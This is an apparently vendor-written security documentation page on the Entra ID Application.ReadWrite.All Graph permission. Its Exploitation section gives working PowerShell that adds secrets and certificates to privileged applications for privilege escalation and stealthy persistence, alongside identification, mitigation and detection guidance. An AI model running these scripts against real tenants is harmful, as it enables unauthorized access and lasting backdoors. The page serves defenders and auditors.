> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_mg_application_readwrite_all.md).

# AZ\_MG\_APPLICATION\_READWRITE\_ALL

## Summary

|                               |                                                   |
| ----------------------------- | ------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_APPLICATION\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | Application.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                  |
| **Exploitation Certainty**    | Certain                                           |
| **Graph Permission / Role**   | Application Permission: Application.ReadWrite.All |

## Description

`AZ_MG_APPLICATION_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to all applications and service principals** in Microsoft Entra ID (Azure AD). This is a highly dangerous permission because it allows:

* **Create, read, update, and delete applications** (app registrations)
* **Create, read, update, and delete service principals**
* **Add credentials (secrets and certificates)** to any application or service principal
* **Modify application permissions** and API permissions
* **Change application owners** and delegation settings
* **Modify redirect URIs** and authentication configurations
* **Read and modify application roles** and exposed APIs

This permission is often abused for:

* **Privilege escalation**: Adding credentials to applications with high-privilege permissions (e.g., those with Directory.ReadWrite.All)
* **Persistence**: Creating backdoor applications with long-lived credentials
* **Credential theft**: Adding new secrets to existing privileged service principals
* **OAuth abuse**: Modifying redirect URIs to intercept tokens
* **Lateral movement**: Compromising applications that have access to other Azure resources

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

## Identification

### PowerShell (Microsoft Graph)

#### Find Service Principals with Application.ReadWrite.All

```powershell
Connect-MgGraph -Scopes "Application.Read.All","Directory.Read.All"

# Get Microsoft Graph service principal and target app role ID
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" -Property Id,AppRoles
$targetPerm = "Application.ReadWrite.All"
$targetRoleId = $graphSp.AppRoles | Where-Object { $_.Value -eq $targetPerm } | Select-Object -ExpandProperty Id

# Query app role assignments directly from Microsoft Graph SP
$assignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All

# Filter for target permission and build results
$results = $assignments | Where-Object { $_.AppRoleId -eq $targetRoleId } | ForEach-Object {
    [PSCustomObject]@{
        ServicePrincipalName = $_.PrincipalDisplayName
        ServicePrincipalId   = $_.PrincipalId
        Permission           = $targetPerm
        AssignedDateTime     = $_.CreatedDateTime
    }
}

$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `Application.ReadWrite.All` can perform privilege escalation by adding credentials to high-privilege applications.

### Add Credentials to a Privileged Application

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# Target application display name
$targetAppName = "Target Application"
$targetApp = Get-MgApplication -Filter "displayName eq '$targetAppName'" | Select-Object -First 1

# Add a new secret to the target application
$passwordCred = @{
    displayName = "Backup Credential"
    endDateTime = (Get-Date).AddYears(2).ToUniversalTime()
}

$newSecret = Add-MgApplicationPassword -ApplicationId $targetApp.Id -PasswordCredential $passwordCred

[PSCustomObject]@{
    ApplicationName = $targetApp.DisplayName
    AppId           = $targetApp.AppId
    SecretText      = $newSecret.SecretText
    ExpiresUtc      = $newSecret.EndDateTime
} | Format-List
```

![Add Credentials to a Privileged Application](/files/eWRA0UiFeJntTdWjNo6h)

### Add Certificate to Service Principal for Stealthy Persistence

```powershell
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Generate a self-signed certificate
$cert = New-SelfSignedCertificate -Subject "CN=AzureBackupCert" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256 -NotAfter (Get-Date).AddYears(2)

# Export the certificate public key as Base64
$certBase64 = [Convert]::ToBase64String($cert.RawData)

# Target application
$targetAppName = "Target Application"
$targetApp = Get-MgApplication -Filter "displayName eq '$targetAppName'" | Select-Object -First 1

# Add certificate to target application
$keyCredential = @{
    DisplayName = "Backup Certificate"
    Type        = "AsymmetricX509Cert"
    Usage       = "Verify"
    Key         = [System.Text.Encoding]::ASCII.GetBytes($certBase64)
    EndDateTime = $cert.NotAfter.ToUniversalTime()
}

Update-MgApplication -ApplicationId $targetApp.Id -KeyCredentials @($keyCredential)

Write-Output "Added certificate to application: $($targetApp.DisplayName)"
Write-Output "Thumbprint: $($cert.Thumbprint)"

# Authenticate using the certificate
Connect-MgGraph -ClientId $targetApp.AppId -TenantId $tenantId -CertificateThumbprint $cert.Thumbprint
```

![Add Certificate to Service Principal for Stealthy Persistence](/files/HGqxS9DheTxIdG8AX9uC)

## Mitigation

* **Audit all service principals** with `Application.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `Application.ReadWrite.All` permission if not required.
* **Apply least privilege**: Replace with more specific permissions where possible:
  * Use `Application.Read.All` if only read access is required.
  * Use `Application.ReadWrite.OwnedBy` if the application only needs to manage applications it owns.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Enable application credential monitoring**:
  * Monitor for new credentials being added to applications.
  * Alert on certificate or secret additions to high-privilege applications.
* **Lock down application ownership**:
  * Limit who can be an owner of privileged applications.
  * Review application owners regularly.
* **Use Workload Identity Federation** where possible instead of secrets/certificates.

## Detection

Detect permission grants and suspicious activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal**
  * **Add application**
  * **Update application - Certificates and secrets management**
  * **Add service principal credentials**
  * **Update service principal**

Monitor for suspicious patterns:

* New application creation by service principals (not user-initiated).
* Credential additions to existing applications by service principals.
* Applications with long credential expiration times (years).
* Certificate additions to applications (stealthier than secrets).
* Changes to application permissions or required resource access.
* Modifications to redirect URIs (potential token interception).

## References

* [Microsoft Graph Permissions Reference - Application.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#applicationreadwriteall)
* [Microsoft Graph API - Applications](https://learn.microsoft.com/en-us/graph/api/resources/application)
* [Microsoft Graph API - Service Principals](https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipal)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGAddSecret](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#azmgaddsecret)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)
